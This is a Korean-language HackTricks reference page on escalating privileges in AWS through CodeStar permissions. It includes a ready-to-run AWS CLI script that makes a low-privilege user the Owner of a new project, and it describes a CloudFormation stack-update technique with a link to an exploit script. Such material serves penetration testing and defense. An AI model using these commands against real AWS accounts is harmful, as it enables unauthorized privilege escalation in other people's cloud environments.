AWS - Codestar Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

• 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!

• 공식 PEASS & HackTricks 스웨그를 얻으세요.

• The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.

• 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.

• HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

Codestar

codestar에 대한 자세한 정보는 다음에서 확인할 수 있습니다:

pagecodestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

이 권한을 사용하면 codestar IAM 역할을 악용하여 클라우드포메이션 템플릿을 통해 임의의 작업을 수행할 수 있습니다. 다음 페이지를 확인하세요:

pageiam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

이 기술은 codestar:CreateProject를 사용하여 codestar 프로젝트를 생성하고, codestar:AssociateTeamMember를 사용하여 IAM 사용자를 새로운 CodeStar 프로젝트의 소유자로 만들어 새로운 정책과 몇 가지 추가 권한을 부여합니다.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

만약 이미 프로젝트의 구성원이라면 codestar:AssociateTeamMember 대신 codestar:UpdateTeamMember 권한을 사용하여 역할을 소유자로 업데이트할 수 있습니다.

잠재적인 영향: codestar 정책에 대한 권한 상승. 해당 정책의 예시는 다음에서 찾을 수 있습니다:

pagecodestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

1. 새 프로젝트 생성:

• codestar:CreateProjectFromTemplate 액션을 사용하여 새 프로젝트 생성을 시작합니다.

• 성공적으로 생성되면 **cloudformation:UpdateStack**에 대한 액세스가 자동으로 부여됩니다.

• 이 액세스는 일반적인 프로젝트 이름과 관련된 CodeStarWorker-<generic project name>-CloudFormation IAM 역할에 대해 특정 스택을 대상으로 합니다.

2. 대상 스택 업데이트:

• 부여된 CloudFormation 권한으로 지정된 스택을 업데이트합니다.

• 스택의 이름은 일반적으로 다음 두 가지 패턴을 따릅니다:

• awscodestar-<generic project name>-infrastructure

• awscodestar-<generic project name>-lambda

• 정확한 이름은 선택한 템플릿에 따라 다릅니다(예시 악용 스크립트 참조).

3. 액세스 및 권한:

• 업데이트 후, 스택과 연결된 CloudFormation IAM 역할에 할당된 기능을 얻게 됩니다.

• 참고: 이로 인해 기본적으로 전체 관리자 권한이 부여되지는 않습니다. 권한 상승을 위해 환경 내에서 추가로 잘못 구성된 리소스가 필요할 수 있습니다.

자세한 내용은 원본 연구를 참조하세요: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. 악용 스크립트는 다음에서 찾을 수 있습니다: https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

잠재적인 영향: cloudformation IAM 역할에 대한 권한 상승.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

• 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!

• 공식 PEASS & HackTricks 상품을 구매하세요.

• The PEASS Family를 발견하세요. 독점적인 NFT 컬렉션입니다.

• 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 팔로우하세요. 🐦 @hacktricks_live

• HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.